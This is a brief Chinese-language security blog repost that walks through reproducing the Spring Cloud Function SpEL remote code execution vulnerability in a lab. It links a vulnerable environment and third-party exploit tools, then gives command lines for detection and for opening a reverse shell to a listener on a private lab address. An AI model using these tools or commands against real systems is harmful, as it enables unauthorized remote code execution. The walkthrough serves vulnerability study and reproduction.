【Nday】Spring-Cloud-SpEL-RCE漏洞复现

2022年3月30日08:31:24评论214 views字数 631阅读2分6秒阅读模式

# 环境搭建

JDK 15下载：

https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html

在CentOS7上安装JDK 15环境

rpm -ivh jdk-15.0.2_linux-x64_bin.rpm

【Nday】Spring-Cloud-SpEL-RCE漏洞复现

漏洞环境下载：

https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE

部署漏洞环境：

java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar

【Nday】Spring-Cloud-SpEL-RCE漏洞复现

# 漏洞复现

访问：http://192.168.160.146:9000/

【Nday】Spring-Cloud-SpEL-RCE漏洞复现

工具下载地址：

https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE

开始检测漏洞并反弹shell

## 检测漏洞python3 Spel_RCE_POC.py url.txt## 反弹shellpython3 Spel_RCE_Bash_EXP.py http://192.168.160.146:9000/ 192.168.160.241 7777

【Nday】Spring-Cloud-SpEL-RCE漏洞复现

PS：本公众号内的文章及工具仅提供学习用途，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号及文章作者不为此承担任何责任。

原文始发于微信公众号（明联安全）：【Nday】Spring-Cloud-SpEL-RCE漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。

未授权服务加固与泛解析字符绕过

本文由 admin 发表于 2022年3月30日08:31:24
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
【Nday】Spring-Cloud-SpEL-RCE漏洞复现https://cn-sec.com/archives/854940.html
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.